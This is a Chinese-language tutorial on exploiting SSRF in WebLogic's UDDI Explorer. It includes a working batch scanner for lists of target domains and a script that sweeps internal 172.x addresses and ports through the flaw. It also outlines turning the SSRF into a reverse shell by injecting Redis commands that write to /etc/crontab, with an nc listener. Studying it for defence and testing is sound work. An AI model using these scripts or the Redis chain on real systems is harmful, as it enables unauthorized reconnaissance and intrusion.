前言 什么是ssrf
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。
一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。
舉一個例子:
比如一個添加圖文的功能,填入標題內容和封面圖然后提交在網站前台顯示,對於這個功能的圖片它除了可以讓你上傳以外,還支持填入遠程圖片地址,如果你填入了遠程的圖片地址,則該網站會加載遠程圖過來進行顯示,而如果程序寫法不嚴謹或者過濾不嚴格,則加載圖片地址的這個功能可能就可以包含進行一些惡意的腳本文件,或者你輸入內網的 ip 或者一些系統的文件都會被解析執行,這個我們一般叫它 SSRF 即服務端請求偽造。
危害:一般我們是無法請求到系統上的文件的,內網的 ip 我們也是無法訪問的,有了 SSRF 后,我們提交的加載連接是用服務器進行加載解析,實際上相當於我們以存在 SSRF 這個服務器為跳板進行的一些加載操作。
一般ssrf漏洞的頁面是get請求,訪問內網地址的時候返回的是狀態碼,根據返回信息,我們可以對內網的IP和端口進行信息收集,可以收集到一些內網機子的斷開開放情況
比如redis服務,如果內網有IP開啟6379端口,那么我們就可以用存在ssrf的機子給含有redis服務的機子發送命令,然后反彈shell.
有些ssrf還可以利用file協議對目標機本地的文件進行讀取
00x01 環境
weblogic 10.36中間件
安裝方法自行百度
由於weblogic 12最新版的 在官網下載不了,因此附上百度網盤下載連接:https://pan.baidu.com/s/1wz1_ctJJdaYYXaXpmNO0kw#list/path=%2F&parentPath=%2Fsharelink765468514-715314846720175
也可先試試官網下載:
https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
00x02 訪問
安裝成功后,打開user_projects下面的startWeblogic.cmd,我這個版本的weblogic的路徑如圖:
運行后跳出cmd運行終端,如果出現如下的字符提醒,說明weblogic開啟成功
在瀏覽器中訪問http://127.0.0.1:7001/console 控制台,看看是否能顯示
可以正常訪問。
00x03 檢測漏洞
3.1、直接訪問:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在於:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
3.2、向服務器提交以下參數
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
這個返回信息說明這個ip是存在的並且這個端口是開放的。
那么我們怎么知道他內網的ip呢,這個頁面的Setup UDDI Explorer處泄露了網段,可以用腳本或者工具來跑
由於在我本機上面,而且並沒用開內網環境,因此顯示的是localhost,如果是實戰的話就不是了

看我試着去訪問一個不存在的端口,那么下面就會返回這樣的信息,代表這個端口沒有開放,不能訪問。
看了豬豬俠關於ssrf漏洞的pdf,里面有四種回顯信息
3.4、請求訪問資源。
這里跟上了百度的url,服務器返回信息表示可以訪問,但是並沒有請求,那么就不可以訪問遠程小馬了,因此我們試一試file協議
這里跟上了本機上面的一個真實文件的路徑,然后訪問不了,返回信息說不支持file協議,因此這個漏洞要看過濾規則吧,如果過濾規則不嚴謹,說不定連file協議都可以成功執行,進而可以訪問遠程馬。
但是weblogic的ssrf漏洞過濾了很多協議,因此我們只能利用返回信息來判斷是或者否。
3.5批量檢測腳本
附上一個批量檢測weblogic的ssrf漏洞的腳本
#!/usr/bin/env python # -*- coding: utf-8 -*- import re import sys import Queue import requests import threading from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) queue = Queue.Queue() mutex = threading.Lock() class Test(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def check(self,domain,ip): payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip) url = domain + payload try: html = requests.get(url=url, timeout=15, verify=False).content m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html) if m: mutex.acquire() with open('ssrf1.txt','a+') as f: print "%s has weblogic ssrf." % domain f.write("%s has weblogic ssrf." % domain) mutex.release() except Exception,e: print e def get_registry(self,domain): payload = 'uddiexplorer/SetupUDDIExplorer.jsp' url = domain + payload try: html = requests.get(url=url, timeout=15, verify=False).content m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html) if m: return m.group(1) except Exception,e: print e def run(self): while not self.queue.empty(): domain = self.queue.get() mutex.acquire() print domain mutex.release() ip = self.get_registry(domain) self.check(domain,ip) self.queue.task_done() if __name__ == '__main__': with open('domain.txt','r') as f: lines = f.readlines() for line in lines: queue.put(line.strip()) for x in xrange(1,50): t = Test(queue) t.setDaemon(True) t.start() queue.join()
是py2腳本的
新建一個domain.txt文件,里面寫入需要檢測的url地址跟端口,可以跟多個
然后運行py文件
判斷出了存在weblogic的ssrf漏洞
3.6 批量探測內網redis服務端口開啟
Weblogic的SSRF有一個比較大的特點,其雖然是一個“GET”請求,但是我們可以通過傳入%0a%0d
來注入換行符,
而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis服務器。
首先,通過ssrf探測內網中的redis服務器,應為這個漏洞是用docker環境搭建的,所以redis服務器的內網即是
docker的網段(docker環境的網段一般是172.*):
下面用一個python2 小腳本來實現172.*段的內網端口探測這個功能:
import thread import time import re import requests def ite_ip(ip): for i in range(1, 256): final_ip = '{ip}.{i}'.format(ip=ip, i=i) print final_ip thread.start_new_thread(scan, (final_ip,)) time.sleep(3) def scan(final_ip): ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379') for port in ports: vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port) try: #print vul_url r = requests.get(vul_url, timeout=15, verify=False) result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content) result2 = re.findall('but could not connect', r.content) result3 = re.findall('No route to host', r.content) if len(result1) != 0 and len(result2) == 0 and len(result3) == 0: print '[!]'+final_ip + ':' + port except Exception, e: pass if __name__ == '__main__': ip = "172.18.0" if ip: print ip ite_ip(ip) else: print "no ip"
將存在ssrf漏洞的url覆蓋掉上面的url部分
如果有ip存在6379端口,那么此ip就開放了redis服務,那么我們就可以利用存在ssrf的服務器作跳板,向開啟redis服務的機子將彈shell腳本寫入/etc/crontab,然后在跳板上開啟端口監聽,nc -lvnp 21 ,反彈shell
00x04 總結
1.在任何可以導入鏈接的地方都可以試試是否存在ssrf漏洞;
2.如果存在ssrf漏洞,那么看一看可不可以利用file協議,可以利用file協議讀取文件;
3.如果只能依靠返回信息,那么可以利用腳本來掃描內網的存活主機和端口掃描,做一個內網的信息收集。如果掃描到一些能利用的端口漏洞,就可以利用服務器做跳板對其進行利用,比如redis服務。
4.這里給出一個大牛的腳本,可以很方便的探測ssrf的網段以及每個網段的端口,甚至還有反彈shell的功能:
地址: https://github.com/NoneNotNull/SSRFX
參考鏈接:
https://www.freebuf.com/column/194040.html https://www.cnblogs.com/bmjoker/p/9759761.html https://blog.csdn.net/fageweiketang/article/details/88983921